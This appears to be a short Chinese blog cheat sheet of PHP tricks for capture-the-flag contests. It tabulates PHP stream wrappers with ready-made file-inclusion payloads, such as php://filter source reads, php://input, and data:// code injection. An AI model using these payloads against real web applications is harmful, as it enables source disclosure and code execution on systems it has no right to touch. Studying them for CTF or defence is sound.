Hitomi's Note

瞳の笔记

CTF 中常用的 PHP 技巧

发布于|# CTF# Tips
  1. 伪协议

    协议 测试PHP版本 allow_url_open allow_url_include 用法
    file:// >=5.2 / / ?file=file://D:/soft/phpStudy/WWW/phpcode.txt
    php://filter >=5.2 / / ?file=php://filter/read=convert.base64-encode/resource=./index.php
    php://input >=5.2 / on ?file=php://input [POST DATA]
    zip:// >=5.2 / / ?file=zip://D:/soft/phpStudy/WWW/file. zip%23phpcode.txt
    compress.bzip2:// >=5.2 / / ?file=compress.bzip2://D:/soft/phpStudy/WWW/file.bz2
    compress.zlib:// >=5.2 / / ?file=compress.zlib://D:/soft/phpStudy/WWW/file.gz
    data:// >=5.2 on on ?file=data://text/plain, 【OR】?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=【OR】?file=data:text/plain, 【OR】file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=